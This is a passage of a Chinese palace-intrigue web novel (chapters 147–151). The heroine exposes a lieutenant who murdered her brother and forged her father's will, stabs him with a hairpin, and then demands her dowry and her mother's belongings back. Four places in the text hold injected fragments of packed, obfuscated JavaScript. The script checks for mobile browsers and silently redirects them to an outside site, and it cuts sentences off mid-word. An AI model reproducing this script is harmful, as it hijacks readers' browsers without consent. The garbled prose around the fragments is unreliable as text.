姜南溪却忍不住笑了:“我来参加我妹妹的及笄宴,你都要阻止?沈二公子不觉得自己管的太宽了吗?” 说完,完全不去看沈翊文陡然阴沉的脸色。 掠过他径自走到姜思瑶面前,慢悠悠道:“妹妹,如此盛大的及笄宴,不请我这个做姐姐的到场,会不会太过分了点?” 姜思瑶指甲深深嵌入掌心。 但面上却露出如小白花般被欺负了的表情,怯怯道:“对,对不起姐姐,我不是故意不请你的。是姨母和翊轩哥哥说,你今日不适合出现。” “但无论如何,都是妹妹不对,姨母和翊轩哥哥也是怕及笄宴中有什么意外,冲撞了各位贵客,才做出此等决定。姐姐如果你要怪,就怪我吧!” 说着,晶莹的泪水就已经滑落面颊。 那样子端的是梨花带雨,楚楚动人。 任谁看到这场景,都会觉得是平日里南溪县主张扬跋扈,欺负惯了庶妹。 所以才让姜思瑶如此害怕,如此委屈。 姜南溪不等有人仗义执言,慢悠悠道:“你这是在说,我是会冲撞各位贵客的意外了?” 姜思瑶拼命摇头,小脸惨白,泪盈于睫:“没有没有,思瑶绝对没有这个意思!” 沈翊轩上前一步,把姜思瑶搂在怀中,怒喝道:“南溪,你有什么冲我来,何必对思瑶咄咄逼人?要更换婚约对象是我的意思,我早跟你说过许多遍,我心中只有思瑶,你再怎么胡搅蛮缠,我也绝不会改变心意的!” 姜南溪:“……” 她一言难尽地看了这位最喜欢自说自话的大表哥一眼。 连搭理都懒得搭理。 这傻叉就是有本事把她所有的话全歪到她是为他争风吃醋上去。 姜思瑶眼中闪过快意,面上却一把抓住沈翊轩,垂泪摇头道:“翊轩哥哥,你不要那样对姐姐,她也只是太爱你了,才会……才会……但我相信,姐姐不会故意为难我的!毕竟,我们可是这世间唯一的亲人啊!姐姐,对不对?” 第一百四十七章 是忠臣还是杀兄仇人? 谁知姜南溪却竖起一根手指,轻轻晃了晃:“不好意思,你说错了哦,我今天来,就是为了来为难你的!” “我亲爱的妹妹,还有我亲爱的表哥和姨母,今日风和日丽、阳光灿烂、黄道吉日、万事皆宜,又有诸位贵客亲眼见证,正是诸位归还我嫁妆和亡母遗物的好日子呢!” “你们说,对不对?” 刚刚喧闹起来的现场,因为姜南溪的话,再度陷入了诡异的静寂。 姜思瑶双目圆睁瞪着姜南溪。 简直不敢相信自己这位嫡姐,竟然会如此直白地向她讨要嫁妆。 连半点迂回遮掩都没有。 这哪里有半分世家贵女的风范? 姜南溪,她……她就不怕丢人吗? 可也正是因为这赤果果地直白讨要,让姜思瑶原本准备好的各种应对方法,全没了用武之地。 错愕之下,甚至连小白花的表情都几乎无法维持了。 “南溪,既然你问到了嫁妆,那正好不过了。” 就在这时,身后传来凌婉茹端庄冷静的声音。 只见她缓缓走上前来,看着姜南溪的目光中带着怜惜和不赞同,声音却是不疾不徐的,仿佛一切智珠在握。 “关于国公府的遗产和你的嫁妆,我们原也以为,那必然全是留给你这个国公府唯一嫡女的。” “可今日你蒋叔叔千里迢迢寻来,传达了你父亲临终前的遗言,姨母才知道,事情并非如我们所想。” 说着,凌婉茹转向蒋威:“蒋副将,劳烦你将英国公的遗言,向南溪县主再做一下转述。” “想必南溪也是很想知道,她父亲临死前,究竟给她留了什么话的。” 姜南溪视线微微一转,落到了蒋威身上。 当看清了那张胡子被剔的稀稀落落的脸,和那双微微下垂的三角眼。 姜南溪的瞳孔微不可查地收缩了一下。 蒋威只当她认出了自己,咧开嘴,露出一口黄牙笑道:“大小姐,您……您应该还认识末将吧?末将名叫蒋威,以前还曾带您和小世子玩过呢!” 姜南溪漆黑的眸幽深如海,静静看着他,似要将他这张脸刻入脑海。 好半晌才勾起唇角,幽幽笑道:“蒋副将,我当然……认识了!” 凌婉茹眼中闪过微不可查的笑:“既然南溪你认出了蒋副将,那就再好不过了。想必蒋副将说的遗言,南溪你也该相信了吧?” 这可是姜南溪自己承认的,蒋威是英国公的副将。 如此一来,蒋威说出来的英国公遗言,自然就更有可信度了。 姜思瑶自然也想到了这些。 此时她脸上的嫉恨之色一扫而空,取而代之的是妹妹对姐姐的担忧、愧疚:“蒋叔叔,此事还是不要当众说了,我……我真的怕姐姐受不住。不如等宴席结束……” “不!这件事必须当众说!” 蒋威义正词严打断她,大声道:“二小姐已经吃了那么多苦了,我蒋威遵照国公遗愿,决不能让她再受半点委屈。大小姐,国公爷曾留下遗言,他和夫人死后,国公府的财务一分为二,你拿四成,二小姐拿六成。” “另外,国公爷还曾嘱咐属下,要将二小姐的名字记在夫人名下,从今往后,她就是夫人的女儿,未来也将以国公府嫡女的身份,风风光光的出嫁!” 蒋威说完这些后,就等着姜南溪露出惊怒的神情。 任谁意识到自己的嫁妆被分走了六成。 本该是独一无二的嫡女名号被抢走了一半,定然会歇斯底里发疯的。 然而,蒋威抬起头,却对上了一双沉静无波的眼眸。 少女的眉目精致妍丽,如诗如画。 可一双眼却仿佛笼者冷冽冰霜,带着幽幽寒意看着他:“蒋威,你的意思是我父亲去世前,你就在他身边?” 被这样一双眼看着,蒋威心中无端端升起一股毛骨悚然的寒意。 “自……自然!” 声音出口,蒋威才发现,自己竟然有些发颤。 他竟然被一个小丫头吓到了! 意识到这点,蒋威顿时恼怒起来,他猛地挺直了背脊,仰首看着姜南溪:“大小姐,末将知道你不能接受这样的事实。可国公爷对末将恩重如山,末将既然得了他的遗命,是绝不敢有半分隐瞒和懈怠的!” “国公爷当年确实说过要将国公府的遗产分六成给二小姐,还要让二小姐记在夫人名下,您就算再生气,再嫉妒二小姐,也不能不遵国公爷的遗……” 蒋威说的义正词严,唾沫横飞。 一副自己是英国公府忠臣良将,宁死也要遵从国公遗命的忠良模样。 然而,他的话还没说完,就感觉眼前突然一暗。 他下意识地抬起头,这才发现,姜南溪竟不知何时已经站到了他的面前。 蒋威张了张嘴,想继续说话。 然而下一刻,脖子上陡然一凉。 紧接着,一阵让他头皮发麻的窒息感,伴随着疼痛从颈部传来。 所有人都被眼前的一幕惊呆了。 南溪县主她,她在做什么? 她竟然掐住了蒋威的脖子! 难道是因为太过嫉妒,恼羞成怒,所以想要杀人灭口? 姜思瑶更是惊呼出声:“姐姐,你做什么?” 凌婉茹:“南溪,你疯了吗?还不快放开蒋副将?” 在众人的惊呼声中,被扼住喉咙的蒋威也猛地回过神来。 他猛地涨红了一张脸,抬手就要挥过去。 臭婊子! 不就是一个小丫头吗? 竟然敢在大庭广众下掐他的脖子! 然而下一刻,蒋威听到了少女清泠悦耳,却仿佛来自地狱修罗殿的声音。 “真好啊,蒋威,原来你还活着,且自己找上门来了!” “否则我还真不知道该去哪寻你,然后亲口问问你……” “为何……要害死我哥哥?” 嗡——! 蒋威的大脑仿佛被人狠狠敲了一下,脸唰的一下白了。 脑海中翻来覆去,只有一个念头:她怎么会知道?姜南溪怎么会知道? 而人群也因为这句话,再次掀起了滔天巨浪。 “南溪县主说什么?她说蒋副将害死了她哥哥?哪位哥哥?” “还有哪位?自然是与其父母一起死在那场兵变中的英国公世子姜尧泽啊!” “可不是说姜小世子是死在叛军手中吗?为何南溪县主会说是蒋威害死的?” 人群一阵骚动,议论纷纷。 凌婉茹脸色大变,当即厉声斥道:“南溪,你胡说八道什么?” 姜思瑶哭喊道:“姐姐,你有什么怨气可以冲我来,为什么要冤枉对爹爹忠心耿耿的旧部呢?谁都知道蒋副将是爹爹的心腹,他有什么理由害死哥哥啊?” 姜南溪笑了一声。 她没有理会周围的沸反盈天。 也没有回头看凌婉茹和姜思瑶一眼。 那双冷冽的眸如刀一般,一瞬不瞬盯着脸色惨白的蒋威。 一字字道:“当年,爹爹让你带兵护送我和哥哥离开,然在半路上,我们一行却被叛军追上。哥哥为了让我活下来,就将我藏在草丛中,自己率领你们引开追兵。” “可我不想跟哥哥分开,更不想哥哥为了救我而死,爹爹和娘亲或许已经遭遇了不测,我不能再失去哥哥了。是以我在草丛中蹲了没多久,就没忍住悄悄跟了上去!” 姜南溪说到这里,眼眶一点点泛红。 她不知道这是她自己的情绪。 还是原身那个小姑娘残留在身体里的愧疚、悔恨和伤痛。 她连声音也微微嘶哑了:“我追了好久,终于在一个断崖边,见到了哥哥,那时我多开心啊!虽然追兵的声音已经越来越近,我们根本就逃不脱的。可我不在乎,只要能和哥哥在一起,只要身边还有家人,哪怕一起死了又何妨。” “可我……没能把这声哥哥叫出声,就看到你这畜生,趁我哥哥没防备,把他……推下了悬崖!” 第一百四十八章 害怕了 哗——! 宾客越加沸腾喧闹了。 他们怎么都没想到,来参加一场及笄宴。 原以为是要看一场后宅斗争。 谁知却变成了十年前密辛的爆料现场。 姜南溪闭了闭眼,将身体汹涌地情绪压下去,继续道:“哥哥被推下断崖后,你趁着其它英国公府护卫没能反应过来,又将他们杀得杀,推落断崖的推落断崖!” “末了,你站在悬崖旁说:小世子,别怪属下,要怪就怪你命不好,你若不死,那些追兵绝不会放过我等!老子还年轻,还有大把的前程,怎么能给你陪葬在这荒山野岭呢?” “蒋威,这些话,我可有复述错?” “不,不会错的!” “这些话,我日日夜夜,嚼碎了吞咽在肚子里,一字字刻烙在灵魂中,从不敢有一日或忘,又怎么……会错呢?” 偌大的宴席上,此刻却诡异地一片静寂。 蒋威脑子嗡嗡的。 他知道自己应该马上反驳。 大声斥责姜南溪胡说八道,然后哭诉自己的冤屈。 可喉咙上传来一股冰冷的窒息感。 明明扼住他喉咙的不过是个少女纤细柔弱的手。 可他的身体却像是被鬼压床了一般,冰冷、僵硬、动弹不得。 随着姜南溪声音嘶哑地叙述、质问。 蒋威只觉得眼前人的脸仿佛慢慢变了。 从明眸皓齿的少女,逐渐变为了俊朗稚气的少年。 那张脸曾无数次地出现在他的梦里。 血肉模糊、脑浆迸裂。 可那双眼却还直勾勾地瞪着他,幽幽地问:“蒋叔,父亲那么相信你,我那么相信你,你为何要背叛,为何要杀我?” 随后,少年人碎裂扭曲的面庞,又变成了国公爷满是杀意的脸。 “蒋威,我要你给我儿子偿命!我要你比我儿死的凄惨百倍!” 正是这一个个梦,让蒋威彻底慌了、怕了。 他怕国公爷和世子的厉鬼索命。 更怕有人发现他杀了小世子,要治他的罪。 所以不等兵变的清算和赏罚结束,他就跑了。 彼时英国公府死伤无数,蒋威的逃跑没有引起任何人注意。 大家只以为他也死在了那场兵变中,没人去寻找,没人去探究。 那时的蒋威是真的害怕。 可随着时间推移,对鬼魂的恐惧和良心的愧疚,全都被潦倒的生活所取代。 蒋威开始后悔。 后悔明明根本就没人发现他杀了小世子。 为什么要逃? 如果没有逃,或许他就会获得封赏,成为大将军,风光无限。 他甚至怨恨上了姜瀚海和姜尧泽两父子。 若不是他们非要逞英雄,给先皇断后。 自己又怎么会落到这样的下场。 于是,在有人找上门来,让他伪造姜瀚海遗言,并承诺给他一大笔钱的时候。 他毫不犹豫就答应了。 可此时此刻,面对姜南溪的质问,感受着全身上下犹如被厉鬼附身般的冰冷刺骨。 蒋威再一次忆起了那些梦。 他的身体不可抑制地颤抖起来。 瞪大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694055|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的双眼中,流泻出浓烈的惊恐。 他的这副表现,让原本觉得姜南溪所说之事荒谬绝伦的人,都忍不住狐疑起来。 姜思瑶心中一慌,连忙上前一步,要去掰姜南溪的手。 “姐姐,我求求你别这样。” 她一边哀求,一边泪水扑簌簌往下掉,“你有什么怒气冲我来好不好?为什么要折磨这样一个忠心耿耿的老兵呢?世人都知道哥哥是被叛军杀死的,连带他身边的护卫也全都牺牲了。而蒋叔叔一直都跟在父亲身边,从没有离开过,他怎么会是害死哥哥的凶手呢?” “我知道姐姐你无法接受父亲将六成的嫁妆分给了我,可你也不能这般颠倒黑白,冤枉蒋叔啊!你这样对待爹爹的旧部,爹爹和母亲在九泉之下知道了,该有多寒心啊!” “呜呜呜,姐姐,我求求你别再折磨蒋叔了。那些嫁妆我不要了,嫡女的名分,我也不要了,全都给你好不好?” 姜思瑶哭的悲悲戚戚,让在场的人无不怜惜动容。 沈翊轩更是大步上前,一把抓住姜南溪的手,厉声道:“姜南溪,你闹够了没有?” “蒋叔可是姨夫最信任的部下之一,他怎么可能害死尧泽?你就算嫉恨思瑶,也用不着编出如此离谱的谎言吧?” “我告诉你,你若是再敢胡言乱语,构陷思瑶,攀诬无辜之人,我绝不会放过你!” 说着,他手上用力,把姜南溪狠狠往后一拽。 姜南溪手一松,身体趔趄着往后退。 姜思瑶眼中闪过一抹放松的笑。 然而下一瞬,就听蒋威口中发出嗬嗬嗬的急促喘息声。 第一百四十九章 不打自招 然而下一瞬,就听蒋威口中发出嗬嗬嗬的急促喘息声。 他的双目圆睁,眼珠几乎要暴突出来,整个人像是筛糠般颤抖起来。 口中似哭似笑,似哀求似咆哮地喃喃着:“不,不要杀我,不要拉我下地狱!” “我……我只是不想死啊,小世子,我只是不想死,我不是有意要害死你的。” “饶了我……国公爷,饶了我,我不要下地狱!求求你们饶了我吧!” 他的鼻涕眼泪流了满脸。 布满红血丝的浑浊双目惊恐看着前方,就仿佛真的看到了让他魂飞魄散的厉鬼。 一边哭喊,竟还一边磕起头来。 姜思瑶眼中的笑僵住了。 现场再度陷入了诡异的静寂。 沈翊轩那义正言辞的怒斥表情冻结在了脸上。 显得无比滑稽可笑。 姜南溪似笑非笑地看向她的绿茶妹妹和妹夫:“沈世子,刚刚不是说的还很开心吗?现下,怎么不继续说了?你究竟要怎么不放过我呢?” 沈翊轩的脸色一阵青一阵白,像是被人生生抽了一巴掌。 好半晌才咬牙切齿道:“南溪,你究竟对蒋副将做了什么?以致他变成这副模样?” 这是暗指她对蒋威动了手脚了。 姜南溪讽笑道:“沈世子是怀疑我给他下药了?那还不简单吗?” 她的目光慢悠悠地瞟向姜思瑶:“传闻我妹妹是神医谷的高徒,是比我更有资格继承我娘衣钵的天才医师。而我呢,只是个不学无术,根本没有半点学医天赋的废物。” “若真是我在蒋威身上动了手脚,想必以妹妹的医术,肯定能轻轻松松就化解吧?” “要是化解不了!” 姜南溪声音一顿,清灵悦耳的声音中,陡然附上了几分肃杀的寒意。 “要么是蒋威当真是害死我哥哥的凶手,那他千里迢迢赶来京城撒这么个弥天大谎,只为让妹妹多分点嫁妆,这行为就有待商榷了!” “要么,就是妹妹的医术也不过如此,竟连我这种区区学医废物做的手脚都医治不了。” “不知道妹妹,你要选哪一种呢?” 姜思瑶脸上的表情,几乎要维持不下去了。 她怎么都没想到,自己和凌婉茹精心算计布下的局。 如今却成了困锁自己,让她进退两难的牢笼。 可此刻及笄宴上所有宾客的目光全都汇聚在她的脸上。 神情中再不是满满的惊艳、赞叹,而是怀疑。 这些宾客非富即贵。 姜思瑶知道,她今日若是不能证明自己。 这场及笄宴非但达不到想要的效果,反而会适得其反。 她咬了咬牙,快步朝蒋威走去。 一边对沈翊轩和沈翊文道:“翊轩哥哥,二表哥,麻烦你们帮我按住蒋叔叔,我看看他身上是不是被人做了什么手脚。” 沈翊轩和沈翊文自然无有不从。 只是,蒋威虽疯癫,力气却极大。 沈翊轩倒还罢了。 沈翊文却是从小体弱多病,手无缚鸡之力。 刚抓住蒋威的手,就被蒋威狠狠一甩推出去。 整个人狼狈地在地上打了个滚,最后五体投地,趴伏在草丛中。 扑哧! 看他那蠢样,姜南溪没忍住,笑出声来。 也因为她的笑,其它原本拼命忍着的宾客,也一个个憋不住。 只听“扑哧”、“扑哧”声不绝于耳。 还有人窃窃私语:“听说宣华小郡主如今看上了这位沈家二公子,原还觉得这沈家二公子确实长得清贵俊俏,说不定真有希望成为郡马。可如今看来,也是绣花枕头一个。” “呵呵,郡主或许也就当个玩物养在身边赏玩罢了。” 沈翊文刚在小厮的搀扶下狼狈起身,就听到周围的议论声和嗤笑声。 一口银牙差点给咬碎。 再也没脸在这宴席上待下去,一拂袖,涨红着一张脸急匆匆走了。 后续还是侯府的侍卫上前,才将蒋威制住。 姜思瑶先是给蒋威把脉,随后又取出随身银针,给蒋威扎针。 一刻钟后,蒋威浑浊遍布红血丝的双目慢慢变得清明。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696851|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >口中发出的嗬嗬喘气声与哭喊求饶声,也逐渐平息下来。 周围人亲眼见着姜思瑶行医,忍不住赞叹起来。 “姜二小姐果真好医术啊!” “神医谷高徒,果然名不虚传!” 倚翠得意洋洋道:“某些人在我们小姐面前利用医术动手脚,那不是班门弄斧吗?我们小姐的医术,可是连宫中贵人,都交口称赞的。” “要我说,姜二小姐这般医术,才堪佩为凌医仙的传人啊!” 姜思瑶眼中闪过一抹得意。 但面上却关切道:“蒋叔,你现在清醒了吗?刚刚是不是姐姐对你做了什么,才让你神智不清,说出那些无稽之语的?” 蒋威瞪着一双布满红血丝的眼,怔怔看着她。 姜思瑶脸上的神情越发温柔鼓励:“蒋叔,你不要怕,只要把你的感受说出来即可。这宴会上有那么多贵人,无论你受了怎样的委屈,定能为你讨回公道的!” 蒋威动了动干裂的嘴唇,喃喃道:“为什么……你们……” 姜思瑶忍不住凑近了少许:“蒋叔,你说什么?能不能大声点?” “为什么你们要把我诓骗到京城来?我明明都已经忘记那件事了!” 蒋威突然发出一声震耳欲聋的咆哮,滂臭的唾沫星子混合着刚刚咬出来的血沫乱飞。 全都喷溅在了姜思瑶的脸上。 姜思瑶完全懵了。 可蒋威却还在不管不顾,继续挣扎咆哮:“不,不是,不是忘记!是过去了!” “国公爷和小世子原本已经原谅我了!已经不再怪我了!” “都怪你们把我骗到这里来,让我伪造国公爷的遗言……所以,所以国公爷和小世子才又不肯放过我!” “国公爷,小世子,你们饶了我,饶了我……我真的没有想害大小姐!” “都是她们诓骗,全都是她们诓骗属下的,求求你,饶了属下吧!” “我要回江州去,我要回江州去!” 喊着喊着,蒋威也不知道哪来的力气,竟然挣脱了钳制他的守卫。 转身就要往外跑。 第一百五十章 鸠占鹊巢的私生女 姜南溪猛地上前一步,推开满脸口水血沫的姜思瑶,几步冲到蒋威身后,一把将他拽倒在地。 明明看上去是瘦瘦弱弱的一个小姑娘。 手腕纤细白皙,如脆弱的美玉雕琢而成。 可此刻却竟然硬生生把人高马大的蒋威给拖拽在地上。 随后猛地拔下头上的发钗,狠狠往蒋威身上一扎。 一下! 两下! 三下! …… 整个宴会中,鸦雀无声。 所有人看着那眉目如诗如画的少女,如修罗煞神一般,将蒋威扎的哭爹喊娘。 到最后,甚至连喊都喊不出来。 最终,姜南溪狠狠一簪子扎在蒋威下体的位置。 “啊——!!” 一声惨无人道的嚎叫声响起,蒋威再也支撑不住,两眼翻白,晕死过去。 而在场的宾客无不脸色惨白,夹紧了双腿。 姜南溪闭了闭眼,将体内汹涌的情绪压下去。 在心底轻轻说了一声:安息吧,姜南溪,我替你的哥哥报仇了! 她刚刚不只是为了泄愤,把蒋威扎成筛子。 而是每一簪都扎在特殊的穴位。 接下来,无论蒋威会不会接受审判,最终被处死。 他以后得每一天,每一时每一刻,都会比死还凄惨。 姜南溪知道,原身之所以变成如今这样。 除了定远侯府刻意把人养废。 还有一个原因便是她亲眼看着哥哥死在眼前,却没敢冲出去,也没能在事后找到罪魁祸首替哥哥报仇。 她背负着沉重的道德枷锁,觉得自己是不该活下来的罪人。 可原身那时候,也只是个无依无靠的七岁小女孩啊! 这一切,不该让一个小女孩来背负。 而该让所有的罪魁祸首,血债血偿! 姜南溪丢掉金簪,缓缓转过头。 因为没有簪子束发,墨黑绸缎般的青丝如瀑垂落。 映衬着少女欺霜赛雪的容颜,却没有丝毫狼狈,反倒美的让人目眩神迷。 在场的人惊得鸦雀无声。 却不知是被她的行为震慑,还是被她盛级的容貌迷了眼,惑了心。 有不少人心中都升起一个念头。 究竟是谁说南溪县主是丑八怪的? 眼盲了吗?心瞎了吗? 这哪里是丑八怪,分明是京城第一美女好不好? 姜南溪缓步走到姜思瑶面前,幽幽道:“妹妹,这位蒋副将刚刚说的是什么意思?是妹妹你特地把他从江州请到京城来,让他编造爹爹临终遗言的?” 姜思瑶的脸色青紫交加。 垂在身侧的双手死死攥成拳头。 好半晌,她才勉强挤出一个笑容:“姐姐说笑了,妹妹以前从不认识蒋副将,又怎么会让他编造爹爹临终遗言呢?” “想必蒋副将早在来京城之前就已经疯癫了,所以才会一直胡言乱语。” 姜南溪笑了:“哦?是吗?那妹妹你刚刚治了半天,都没发现他已经疯了,还信誓旦旦说是有人害她?妹妹你这个神医谷的高徒,好像也没高到哪去啊!” 姜思瑶牙都要咬烂了。 她眼圈发红,声音哽咽发颤,像是受了天大的委屈:“妹妹确实医术不佳……” 她原想茶言茶语一番,激起在场众人的同情。 也让沈翊轩和沈翊武两兄弟替她冲锋陷阵。 谁知姜南溪却根本不给她发挥的空间,不等她把话说完,就猛然截断了她的话。 “既然知道自己医术不佳,那就不要开口闭口拿自己跟我娘相提并论!” “也别不要脸地天天以我娘的女儿自居!” “我娘是明媒正娶的英国公夫人,至死都不知道你和**存在。你一个也不知道是妾侍还是外室生的女儿,藏头露尾十数年,如今却开口闭口要继承正室夫人的财产和衣钵,要脸吗?” 姜南溪此话一出,立刻有人露出赞同的表情。 尤其在场不少都是正室夫人。 天然就瞧不顺眼妾侍和庶出子女。 偏偏姜思瑶这个庶女,甚至是在凌医仙不知道的情况下出生的。 代入一下自己丈夫在外面给自己整个私生子私生女回来。 这些夫人立刻便同仇敌忾了。 “姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696852|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二小姐此举确实不妥,国公夫人在天有灵恐怕也不想自己名下多个庶出女儿吧!” “更何况,凌医仙明明就有女儿在世,怎能容许一个庶女来鸠占鹊巢呢?” 姜思瑶这次是真的被气哭了。 她明明从来没有亲口说过,要继承凌元歌的衣钵。 她明明是引导别人说的。 怎地如今这群人说的好像那些话都是她说的一样? 姜思瑶哭道:“姐姐,你为何要这样污蔑于我,妹妹从未说过要继承嫡母的财产和衣钵啊!更加从未有以嫡母的亲生骨肉自居过,呜呜呜……” 她说着,眼泪扑簌簌滑落眼眶。 沈翊轩立刻便心疼了,上前一步,就要将她拥入怀中。 同时对着姜南溪怒目而视。 只可惜,姜南溪根本就连看都懒得多看他一眼。 听到姜思瑶的哭诉,姜南溪没忍住,唇角缓缓勾起。 左手握拳,在右手掌心轻轻一敲,慢悠悠道:“原来妹妹从未有过如此龌龊的想法啊!那真是太好了。” “既然这样,那妹妹是不是可以当着这么多贵客的面,把我母亲的遗物,统统还给我了?” 姜思瑶的哭脸僵住了。 姜南溪:“怎么?妹妹忘了吗?一年前,在柳老夫人的寿宴上,你以我医术不佳为由,逼迫我将亡母的遗物都交给你保管。” “现在妹妹既然承认自己的医术也不怎么样,又不打算继承我娘的衣钵,那这些遗物,是时候归还了吧?” “我若是记得不错,当时宴会上的不少宾客,今日也在席间,想必总有人还记得妹妹当日说过的话吧?” 姜南溪这一提醒,宴席上立刻便有不少夫人记起来。 “好像确实有过这么回事。” “当时姜二小姐还说,只是暂时保管凌医仙遗物用来潜心学习,等到南溪县主出嫁时,定然原封不动地归还!” 这件事,当初有不少人都拍手叫好的。 主要是,那时候的姜南溪实在太废物无用,惹人厌烦了。 在定远侯府的推波助澜下,她们自然而然就觉得,凌医仙的衣钵,本该由姜思瑶继承。 第一百五十一章 让我当妾,你配吗? 可如今想来,让一个外室生的女儿,继承正室夫人的衣钵。 此事怎么听怎么透着荒谬! “姜二小姐,凌医仙的遗物在你那保管一年,也该够了。你一个庶女霸占嫡母的遗物,终究是名不正言不顺,要我说,还是把凌医仙的遗物,还给南溪县主吧!” “正是,南溪县主才是凌医仙的亲骨肉,无论人家医术如何,要回自己亡母的遗物,也是天经地义的。” “更何况,我如今瞧这位姜二小姐的医术,也不怎么样啊?” 姜思瑶死死咬着牙关,泪水在眼眶里打转。 要她归还凌元歌的遗物,她怎么肯?怎么舍得? 更何况,凌元歌留下的丹药她已经用出去不少。 根本就拿不出完整的遗物。 可若是不给,如今众目睽睽,她的名声还要不要了? “好了,南溪!归还遗物的事情,可以等到及笄宴后再说。” 凌婉茹走上前来,温婉一笑道:“如今最重要的是完成你妹妹的及笄宴,南溪,你说对不对?祁老夫人可还等着呢!要是误了吉时就不好了!” 姜南溪似笑非笑道:“姨母不说话,我都忘了!除了亡母的遗物,姨母是不是也该把我的嫁妆还给我了?” “刚刚沈世子可是在大庭广众下,说过她的正妻只会是我妹妹姜思瑶。” “侯府家大业大,该不会想要贪墨我这么个小小孤女的嫁妆,不打算还了吧?” 凌婉茹端庄自持的脸差点就没能维持下去。 她怎么都没想到,姜南溪如今会疯成这副模样。 关起门来口无遮拦就算了。 如今当着京城这么多达官显贵的面,她竟然也敢这般讨要嫁妆。 难道她当真不怕跟定远侯府撕破脸,会付出什么代价吗? 这偌大西楚国,除了定远侯府,她还有何处能够容身的? 而周围的人,因为姜南溪这句话,已经开始窃窃私语起来。 “南溪县主的嫁妆当真在定远侯府?” “好像是有这么回事,毕竟当年先皇赐婚,让南溪县主成年后在定远侯府中挑一个儿郎嫁了。而国公府那时已经无人,南溪县主从小便被寄养在定远侯府,嫁妆和先皇赏赐,自然也都跟着送到了定远侯府。” “可刚刚沈世子都当众说了不肯娶南溪县主,这婚约也只能作废了吧?” “既然婚约作废,那合该把国公府的嫁妆还回去啊!” 凌婉茹勉强维持着慈爱的笑,伸手过来拉姜南溪:“南溪,这些都是家事,我们大可以等宴席结束再好好商讨。此刻是你妹妹重要的及笄宴,若是误了吉时,别人会说你容不下庶妹的。” 姜南溪笑眯眯避过:“是吗?可我以为南溪县主容不下庶妹姜思瑶,早就传的人尽皆知了呢!多这一次不多,少这一次不少,我都不在乎了,姨母又何必帮我在乎呢?” “更何况,这也不是我第一次向姨母讨要嫁妆了。这不是三催四请都讨不回来,才不得不将家事摆到阳光底下,让在座的诸位来评评理吗?” 这已经不是暗示。 而是赤果果地撕破脸,在指着鼻子骂定远侯府不要脸,贪墨孤女嫁妆了。 凌婉茹只觉得周围怀疑的目光望过来。 就如一个个巴掌抽在她脸上,火辣辣的,脸疼的她几乎想找个地洞钻下去。 她完全无法想象。 今日过后,婆母和丈夫若是知道她耗费大量人脉和银钱办及笄宴,最终却让定远侯府声名狼藉。 自己会受到怎样的谴责。 不,不行,她决不能让今日的宴会如此收场! 凌婉茹眼中闪过一抹决绝。 突然脸上挂起了慈和的笑,伸手死死拉住姜南溪的手,指甲几乎要透过衣衫嵌进她肉里。 声音却温柔的仿佛能滴下水来:“你这傻孩子,说什么胡话呢?你本就是要嫁入我定远侯府的,那嫁妆姨母自然给你好好留着,只待你将来进府执掌中馈后便悉数交给你打理,一家人不说两家话,哪还要还来还去这般麻烦?” 姜南溪讽笑一声:“嫁入定远侯府?姨母说的是,让我堂堂县主一顶小轿抬入沈世子院子当妾那种嫁吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703611|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么?” “让南溪县主当妾?” “定远侯府是疯了吗?” “让堂堂县主当妾,定远侯府这是要藐视皇威吗?” “或者当真如南溪县主所说的,是要侵吞英国公和凌医仙留给孤女的嫁妆?” 姜南溪的话,犹如一块巨石投入湖中,激起惊涛骇浪。 原本按照凌婉茹的谋划,先让姜南溪和沈翊轩生米煮成熟饭,抓奸在床。 再将她恬不知耻,自荐枕席的消息传扬出去。 皇室为了掩盖她的丑行,自然会剥夺她县主的头衔。 那样一来,赐婚和先皇赏赐自然而然会落在冰清玉洁的姜家二小姐头上。 可凌婉茹没想到,姜南溪竟然如此警觉。 明明被下了分量极重的药,却还是被她跑了。 偏偏她们根本就没抓到她婚前失贞,无谋苟合的证据。 如此一来定远侯府要让堂堂县主当妾,就成了个天大的笑话。 甚至有人察觉到姜南溪与传闻的反差。 